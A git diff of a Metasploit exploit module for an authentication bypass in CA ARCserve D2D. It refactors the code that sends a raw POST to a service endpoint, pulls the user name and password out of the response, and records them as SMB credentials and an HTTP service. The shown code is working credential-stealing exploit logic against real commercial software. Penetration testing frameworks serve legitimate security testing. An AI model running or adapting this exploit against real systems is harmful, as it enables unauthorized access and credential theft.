diff --git a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb index 46176d2b70..1e2ed56454 100644 --- a/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb +++ b/modules/exploits/windows/http/ca_arcserve_rpc_authbypass.rb @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote cookie = "donotshowgettingstarted=%7B%22state%22%3Atrue%7D" - resp = send_request_raw({ + res = send_request_raw({ 'uri' => '/contents/service/homepage', 'version' => '1.1', 'method' => 'POST', @@ -88,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote } }, 5) - resp = resp.to_s.split(',') + resp = res.to_s.split(',') user_index = resp.index("\"user\"") pass_index = resp.index("\"password\"") @@ -102,19 +102,28 @@ class Metasploit3 < Msf::Exploit::Remote user = resp[user_index+1].gsub(/\"/, "") pass = resp[pass_index+1].gsub(/\"/, "") end - + # report the auth auth = { :host => datastore['RHOST'], - :port => datastore['RPORT'], - :sname => 'ca.arcserver.d2d', + :port => 445, + :sname => 'smb', + :proto => 'tcp', :user => user, :pass => pass, :active => true } report_auth_info(auth) - if user.nil? or pass.nil? or user.empty? or pass.empty? + srvc = { + :host => datastore['RHOST'], + :port => datastore['RPORT'], + :proto => 'tcp', + :name => 'http', + :info => res.headers['Server'] + } + report_service(srvc) + if user.nil? or pass.nil? print_error("Failed to collect the username and password") return end